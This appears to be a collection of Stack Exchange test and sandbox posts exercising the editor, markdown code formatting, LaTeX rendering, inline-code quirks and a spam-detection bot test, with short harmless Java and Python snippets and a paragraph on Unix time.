This is supposed to be a post to test a bug related to rolling back to suggested edits when "improve edit" is selected

And this is the proposed edit

I don't particularly mind if you flag this as spam, though some moderator might dislike that ... a lot.

This is a test post for Charcoal HQ.

  • @user298438 That's not what I wrote. A moderator will review your spam flag and probably dismiss it as unhelpful because this isn't actually spam. The text is mainly there as a test case for the SmokeDetecter bot in Charcoal, and I don't want users there to spend time on analyzing it needlessly.

Gotta love the magic editor. Makes a lot of my editing a lot quicker.

But code markdown appears to break it :/ So this is just a reproduction post for the problem, in theory anyways.

public static void main(String[] args) {
    System.out.println("This should default back to regular code formatting, and backticks more or less removed");
}

foo FOO:

def f1(s):
    return s

def f2():
    f1('I LOVE FOO')

print(f2())

Aha, a joke, now a working one:

def f1(s):
    return s

def f2():
    return f1('I LOVE FOO')

print(f2())

How about:

def f1():
    f2()

def f2():
    f1()

print(f1())

  • ...but: new paragraphs need an empty line. See my edit. (Explicit line breaks, which do not start a new paragraph, are rarely needed, but are possible too. As I really dislike the abuse of line breaks, I won't explain the trick here, though the Markdown help makes no secret out of it...)

Some apparent whitespace problems, 10 m/s (original post):

The period of a pendulum of length $h$ for small oscillations is $2\pi \sqrt{h/g}$, with $g$ the acceleration due to gravity, about $10 m/s$.

Source:

Update: Meta Stack Overflow does not seem to have the formula stuff that Physics has.

Be aware that you can run into trouble if you try to use < inside: <code>a<b</code> gives a!


  1. You can't have a backslash \ in the end of inline code in comments. If you try `\\`, then the result will be `\`. You'll have to type `\\ ` and live with the white space being within the inline code.

    Unix time, or POSIX time, is a system for describing points in time, defined as the number of seconds elapsed since midnight proleptic Coordinated Universal Time (UTC) of January 1, 1970, not counting leap seconds. It is used widely, not only in Unix-like operating systems, but also in many other computing systems and file formats. It is neither a linear representation of time nor a true representation of UTC (though it is frequently mistaken for both), as it cannot represent standard UTC leap seconds (e.g. December 31, 1998 23:59:60), although otherwise the times it represents are UTC.
